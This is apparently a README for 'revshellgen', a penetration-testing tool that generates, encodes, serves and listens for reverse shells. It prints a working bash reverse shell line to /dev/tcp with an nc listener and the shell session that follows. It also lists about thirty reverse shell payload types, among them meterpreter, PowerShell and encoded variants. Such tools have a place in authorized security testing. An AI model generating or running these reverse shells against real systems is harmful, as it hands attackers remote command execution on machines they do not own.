Simple script to generate, server and listen for reverse shells. This is a fork of @cwinfosec revshellgen
usage: revshellgen [-h] [-i IPADDR] [-p PORT] [-t SHELL_TYPE] [-e {base64,url}] [-l] [-L]
[-s]
revshellgen -i 127.0.0.1 -p 4444 -t bash
options:
-h, --help show this help message and exit
-i IPADDR, --ipaddr IPADDR
IP address or interface to connect back to
-p PORT, --port PORT Port to connect back to
-t SHELL_TYPE, --type SHELL_TYPE
Type of reverse shell to generate
-e {base64,url}, --encode {base64,url}
Encode reverse shell
-l, --list List available shell types
-L, --listen Start a listener
-s, --serve Serve reverse shell
- Automatically copy reverse shell into your clipboard using osc52
- Can start listeners automatically
- Can serve files on the web and copies download command to your clipboard
- Supports usage of interfaces and domains rather than IP addresses
❯ ./revshellgen -i eth0 -t bash -L
[*] Generated reverse shell
[+] Contents copied to clipboard
bash -c "bash -i >& /dev/tcp/172.17.0.2/4444 0>&1"
[*] Start listener
rlwrap -cAr nc -lvnp 4444
[+] Listening on 4444
Connection from 172.17.0.2:34572
pwnpad@test:~/shared/revshellgen[pwnpad@test revshellgen]$ ls
ls
LICENSE
README.md
revshellgen
pwnpad@test:~/shared/revshellgen[pwnpad@test revshellgen]$ Exiting.
Type | Description | Platform |
---|---|---|
asp | ASP stageless reverse shell | Windows |
bash | Bash reverse shell | Linux |
java | Java reverse shell | Linux |
jsp | JSP stageless reverse shell | Generic |
lin | Linux stageless reverse shell | Linux |
lin32 | 32-bit Linux stageless reverse shell | Linux |
lin-met | Linux stageless meterpreter reverse shell | Linux |
lin32-met | 32-bit Linux stageless meterpreter reverse shell | Linux |
nc | Netcat reverse shell | Linux |
nc-mkfifo | Netcat mkfifo reverse shell | Linux |
nc-win | Windows Netcat reverse shell | Windows |
ncat | Ncat reverse shell | Linux |
ncat-udp | Ncat UDP reverse shell | Linux |
ncat-win | Windows Ncat reverse shell | Windows |
node | NodeJS reverse shell | Linux |
perl | Perl reverse shell | Linux |
perl-win | Windows Perl reverse shell | Windows |
php | PHP reverse shell | Generic |
ps | Powershell reverse shell | Windows |
ps-b64 | Encoded Powershell reverse shell | Windows |
py | Python reverse shell | Linux |
py-win | Windows Python reverse shell | Windows |
ruby | Ruby reverse shell | Linux |
ruby-win | Ruby reverse shell | Windows |
socat | Socat reverse shell | Linux |
telnet | Telnet reverse shell | Linux |
war | War stageless reverse shell | Generic |
win | Windows stageless reverse shell | Windows |
win32 | 32-bit Windows stageless reverse shell | Windows |
win-met | Windows stageless meterpreter reverse shell | Windows |
win32-met | 32-bit Windows stageless meterpreter reverse shell | Windows |